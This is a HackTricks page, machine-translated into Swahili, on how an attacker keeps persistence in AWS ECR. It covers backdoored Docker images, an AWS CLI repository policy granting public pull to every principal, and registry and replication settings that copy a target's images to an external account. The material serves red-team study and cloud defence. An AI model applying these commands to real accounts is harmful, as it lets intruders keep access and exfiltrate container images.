AWS - ECR Persistence

Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

ECR

Kwa habari zaidi angalia:

pageAWS - ECR Enum

Picha ya Docker Iliyofichwa na Nambari ya Nguvu

Mshambuliaji anaweza kupakia picha ya Docker inayojumuisha nambari ya nguvu kwenye hifadhi ya ECR na kuitumia kudumisha uwepo kwenye akaunti ya AWS ya lengo. Mshambuliaji anaweza kisha kupeleka picha ya madhara kwa huduma mbalimbali ndani ya akaunti, kama vile Amazon ECS au EKS, kwa njia ya siri.

Sera ya Hifadhi

Ongeza sera kwa hifadhi moja kutoa wewe mwenyewe (au kila mtu) ufikivu wa hifadhi:

aws ecr set-repository-policy \
--repository-name cluster-autoscaler \
--policy-text file:///tmp/my-policy.json

# With a .json such as

{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

Tafadhali kumbuka kwamba ECR inahitaji watumiaji wawe na ruhusa ya kufanya wito kwa API ya ecr:GetAuthorizationToken kupitia sera ya IAM kabla ya kujithibitisha kwa usajili na kusukuma au kuvuta picha kutoka kwenye hifadhi yoyote ya Amazon ECR.

Sera ya Usajili & Uigaji wa Akaunti za Msalaba

Inawezekana kuhakikisha usajili kiotomatiki katika akaunti ya nje kwa kusanidi uigaji wa akaunti za msalaba, ambapo unahitaji kuonyesha akaunti ya nje ambapo unataka kuhakikisha usajili huo.

Kwanza, unahitaji kumpa akaunti ya nje ufikiaji juu ya usajili na sera ya usajili kama:

aws ecr put-registry-policy --policy-text file://my-policy.json

# With a .json like:

{
"Sid": "asdasd",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::947247140022:root"
},
"Action": [
"ecr:CreateRepository",
"ecr:ReplicateImage"
],
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}

Kisha tumia mazingira ya nakala:

aws ecr put-replication-configuration \
--replication-configuration file://replication-settings.json \
--region us-west-2

# Having the .json a content such as:
{
"rules": [{
"destinations": [{
"region": "destination_region",
"registryId": "destination_accountId"
}],
"repositoryFilters": [{
"filter": "repository_prefix_name",
"filterType": "PREFIX_MATCH"
}]
}]
}
Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Last updated